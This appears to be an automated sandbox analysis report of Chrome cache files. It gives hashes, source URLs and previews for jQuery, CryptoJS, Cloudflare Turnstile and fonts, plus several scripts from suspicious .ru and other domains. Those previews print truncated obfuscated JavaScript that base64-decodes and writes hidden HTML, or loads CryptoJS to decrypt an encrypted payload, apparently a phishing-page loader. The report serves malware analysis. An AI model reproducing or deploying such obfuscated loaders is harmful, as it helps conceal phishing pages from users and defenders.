Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	high, very likely benign file
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://v3mm.biijvi.ru/machlo!fc4z1vnt
Preview:	1

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65364)
Category:	downloaded
Size (bytes):	195859
Entropy (8bit):	4.715622068165139
Encrypted:	false
SSDEEP:	1536:rKi1X8pJCeoYMsY6J0ztICDBEr7QR3b2Ki1X8pJCeoYMsY6J0ztICDBEr7QR3bIv:rKEYMsY6J0nKKEYMsY6J0ncuY
MD5:	49AD565BF18D3B74546421EE4BF8DBDF
SHA1:	AA41A2CCAD519B5D5F6001D3FFDC60EC3A59CE90
SHA-256:	077266F973E70A6992B2EB9BDFC0959C929875764189BF6C15A7DC2606BC6FDE
SHA-512:	F937D8523D34CDC3A88419B7C6DB4558C3AAF6038C5F35BC0D0EA4B5BB07D2C539C70F1EE818D184838DB48FE66A85C3FB323F9E162DCAC0E99D5F1E4F6BD52B
Malicious:	false
URL:	https://xx3j.t23ngbco3.ru/n46ESpbl/
Preview:	<script>.nWznKTaoec = atob("aHR0cHM6Ly96WC50MjNuZ2JjbzMucnUvbjQ2RVNwYmwv");.LQetLAkleC = atob("bm9tYXRjaA==");.vUosDSIKPo = atob("d3JpdGU=");.if(nWznKTaoec == LQetLAkleC){.document[vUosDSIKPo](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPgogICAgPHNjcmlwdD4KICAgIGNvbnN0IE14VFJ1U3dXbXYgPSB7CiAgZ2V0KG5rdldRbUdLQ1IsIGdTSWVaUEJkS3IpIHsKICAgIGNvbnN0IHNBeWhQcW94WVkgPSBbLi4uZ1NJZVpQQmRLcl0KICAgICAgLm1hcChJWFJ1R0tVWFl3ID0+ICsoJ+++oCcgPiBJWFJ1R0tVWFl3KSkKICAgICAgLmpvaW4oJycpOwogICAgY29uc3Qga2VvWkxVZ1ZEaiA9IHNBeWhQcW94WVkucmVwbGFjZSgvLns4fS9nLCBxQUxjblJHeEZ

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 37828, version 1.0
Category:	downloaded
Size (bytes):	37828
Entropy (8bit):	7.994199601770781
Encrypted:	true
SSDEEP:	768:TLreREud92B1C5buEpioxWe6O1ESHFnLQkbknuF1dcjI5djeBX:Tu68248oxWe6O19H1zwnubdk
MD5:	50B140B1E97D859D6D0603414F4298EE
SHA1:	500E4872EE1BA9CF89F1BA626D64987B0F9AB5C9
SHA-256:	FDC9964050BFA24C27A3C76C6791B3674292A5F352CBC83D7A4DC49595BC3FB1
SHA-512:	55EF84E956A7943E3FC61A8A349E64E9F35B7DFC63402AB52B995F43A7CD4B1D2ACD300126DCDD610D0B106AF426848F998CCF154F712034422D242D6AD9130D
Malicious:	false
URL:	https://fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2
Preview:	wOF2..............~....C..........................^...V..D?HVAR.'?MVARF.`?STAT.8'2..L+..\|.../~.....$.u....0..x.6.$.... .....e..([.lq...{En.0..I..h...[....-y2..)..@(.....T...K....$E.U.uA.b...AO..CU"O.W.]7..'............a.@...kF9.3.....xV..7.tg4#Ol.x}o.M...w...Q..))..-.i.R..&.P.......N..[F.C...x..9.\|.;......d$..L.<......=.M.S..HlLHr.#+.S}..+..C....D..'^..~.}..TeT`%.......^..$....0....1 A.. ...bm..]T.E...n;._Qqm....RK.....=....\{.h.O&.D$.U......YS U..i...@.:W........p..pS....-.w.EQwp@.....},.G.@,....0IAV....P...~..0.....8..f...5..Os...5..P...n&wS+.P:.7.e.$t~.s_...z..3..Z.....}.A..2Uj...@{.:Ln.}.t.....i.>Kl.."RQ..h.;.........%...eY.E?...W..00(.z.ml.J.TPP...........G...6.=.Z%...\T....W..q...9D.m...)6..1..\.....v7......U..jr..-i.c.3iL..,\..!...b.d.A...d..C.....Ra:Q.!.M,.e.SMC$$M.w..c.151=.m..o@.G$.X..P'..\|.E."..Z.k......i"......S8..@.d.....2..t..........{..X.]SN..$....K....j5..e..,.%...T..)+.";@.v...9.R..]......,...W.iY...f..r...Q.FY.P.#...X...S

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1365), with CRLF line terminators
Category:	downloaded
Size (bytes):	2100
Entropy (8bit):	6.0301397674237105
Encrypted:	false
SSDEEP:	48:My8yyV7buymyucoXgV3miTrDKYlDARqkfNqd4yM1duICZ:KtgghJTr+YlDALF/RuIU
MD5:	A4AFB6AAD7008B5E54222FAD92E34974
SHA1:	3C8E6856B99493040BD7B5347BB34E74E7D9EC4B
SHA-256:	0E45093097F1614512083A42F148A89A651489513775E81AC4C19655EA3374E9
SHA-512:	A6D5C2C15700378470AE91C149268000BFBE0848561D3080197DBD3AE30D9687B7127C1EF37B36C34699F44458D5738FE08E23F45A7EFAEE54AA543CE0B1D2F9
Malicious:	false
URL:	https://torneytough.com/cllascio.php?322d363837343734373037333361326632663538353833333661326537343332333336653637363236333666333332653732373532663665333433363435353337303632366332662d4c45474e76567155476349464152
Preview:	var wbyxPgXYCKauXuaM = document.createElement("script");..wbyxPgXYCKauXuaM.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(wbyxPgXYCKauXuaM);..wbyxPgXYCKauXuaM.onload=function(){..ydgbGXDvjkfCXuOx = atob;..var {a,b,c,d} = JSON.parse(ydgbGXDvjkfCXuOx("eyJhIjoiR0M2NGJjZEVOd1Q1bjlQZk93VmVcL2VuQzM2Z25oQ214NVRpYzdUbkxDQ0Exck5GNEdFUmpZZFZ2ZDBTdzV4V1dpVjd1bVhQTDNkUFBcL3hCcGdjVm92Y2Z2M2pLQ0RodW5xRGh1U0wraXlSQm53S0RiOFdxbFlIWmkwTVFSMXp4OGJXT1BZZVFqR21Zc3BWQzRcL2RsVGJ6dTROUHpiRUg4OHZCNytPMkVPY3MrdDYyMnJVa2pCazlHMkY3TlNRUGFCS0kxb09oVlwvSU92NFQ4SkNFdGNMQnI2OEQrXC9ncWp5SWl3SlVGNG11a01YVzBnSks0RzRoemVjaE1xQVVcLzV6ajIwRGhcL0hUMVk1aDZuTnFUSVpMQnJrTjVaUlwvZlwveWNlXC9nVkNiWFwvU2JTalluYmdiTkp1c3BNMFN3Vm1HYXQ3aUtTcGlSSkZGaW1DS0E0U01cLzk4STdyZURCYUFqQm1VWjVyNVV5djR3MW43cnZEdTAxbEtURGp4bE5OUEtVek5XN1VPVFpCMHJuM2pMekgrb3RmeUY2R29qVjk2djBvd2JESVdzSVp6ZG9CZ3VZQWViK3JVY0xOOUpCTldYZVFYV2g5MWJEbWpiQkRHUXd3dzlpQVJZWkk5czlqVTMxM05WV1BOXC9Wd1Nc

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	downloaded
Size (bytes):	48239
Entropy (8bit):	5.343270713163753
Encrypted:	false
SSDEEP:	768:+CbPzHMb42QOna0rhgaqC2DdONTjwzsLSh0ZsC3Y2zIijkKY1LBep7iFFQ7Srv3h:gb425na0rhgaqDnzs22z3kH
MD5:	184E29DE57C67BC329C650F294847C16
SHA1:	961208535893142386BA3EFE1444B4F8A90282C3
SHA-256:	DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
SHA-512:	AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	dropped
Size (bytes):	48239
Entropy (8bit):	5.343270713163753
Encrypted:	false
SSDEEP:	768:+CbPzHMb42QOna0rhgaqC2DdONTjwzsLSh0ZsC3Y2zIijkKY1LBep7iFFQ7Srv3h:gb425na0rhgaqDnzs22z3kH
MD5:	184E29DE57C67BC329C650F294847C16
SHA1:	961208535893142386BA3EFE1444B4F8A90282C3
SHA-256:	DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
SHA-512:	AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1365), with CRLF line terminators
Category:	dropped
Size (bytes):	2100
Entropy (8bit):	5.98094605232515
Encrypted:	false
SSDEEP:	48:87b9WiAQu+zvK7N7ctYCTi9CvosuI9zio5lHiHvY:8YSu+zv6qYKi98osuIoo7CPY
MD5:	3A6AA7CDD4079BB53687DDF86EC8A4D9
SHA1:	241E7A14BF8CA1AB8F2E2E6F0B9E7E876F797D2D
SHA-256:	11484D2A50C10859CE36330C8A2EAD50D81FC91A0C81A0F04C2FB2CD38E00628
SHA-512:	7169C500E3A24BE809BB86510AC35B3DE6FEEC4DFCBB36FDB1BD6A597C7949912BB31ABF1C2F5C660DD198596EB266B228AEDEF2787B219258DD188FE329CBC2
Malicious:	false
Preview:	var eRVtLDSNmcGLApGc = document.createElement("script");..eRVtLDSNmcGLApGc.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(eRVtLDSNmcGLApGc);..eRVtLDSNmcGLApGc.onload=function(){..hWEoHLafGwFdWymK = atob;..var {a,b,c,d} = JSON.parse(hWEoHLafGwFdWymK("eyJhIjoiS3VuNWt6aUF3OXR3XC9RS2NyK1BCXC8zbmhIeVNEcnNZeVhSczM2dzM0V2JsQWR0Z1c0XC9wTGZvV1htem1OUlhBNVAwS0EyN2NwZGdHVzlCb0Y5dmxmZllMQWdaYkJGS3pScWp6MWVOZE9qaXJqeWJNc1RHblNFeTdoVXhRQTlcL3pOemVxVzlCZGJFXC9ENmZkMHhxc1VqVld5RmIycDFQTzVyXC8zcTRrdVdmcjlZTnFkWjlCMVFobVZMdmV3ZWl0UlZxdUVGbzAya2NsN0krZmh5bzM0M0RsbVYxVlBMZWZIanlQSnlQRG9SYXNFc2U0aEtJa05OR0pxajNXc2tsTXY5Zkw3T2xnVnJrMmwwdlVXeVkrZEFoSUtUUWdOQVRtWDVyeUo0RWZSQk1oZndhdytpanV6RHRud1dNOTVXa1F1Q2pBbFBURmNLdktwSVwvT0F5a3VHcW8yYlc5Uzlnek9ONjVsbHhid1dick4xaHZWTW1Oa1lXWGsrM2FHb1FIeXJQR0FiOGdDNmUxRVY5bzN0OGJ3SFcyTjRKTFBcL3VKbWpqUURqN2Z5OUphaEltZjF6VUNma1h3ZURoNktxVjZDT1ZwXC8yZTdST1Z6UnZwSENQWkdnSUEyMkFCdFN0aDJxXC9tXC91ZEd1VE00UER5

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3774
Entropy (8bit):	5.436312225868273
Encrypted:	false
SSDEEP:	96:AOOEa9wOOEa2FZOhOOEatOOEaqJc+udOOEadZNtOOpa9wOOpa2FZOhOOpatOOpaj:Y9oDTPCmde9BDWyCjdw
MD5:	CC5C08E92B60141A3DE5E377265AF95C
SHA1:	F083AB76A6DD11169982595A9801CAA59DA9E380
SHA-256:	9C143B0D49C00D71DE9414D8461E0C25B400FCFF8FA9C7386ECC10D64A69B309
SHA-512:	05C6EBECDD38BFD8764316C4499F908D2056F9B7C0099C2B80D9A00C4654C88583E5708ED97F9E6EFBB4024EABF5ED9055820F1841FDE7315F5641CF90FE4E0D
Malicious:	false
URL:	https://fonts.googleapis.com/css2?family=Montserrat:wght@400;700&display=swap
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese */.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
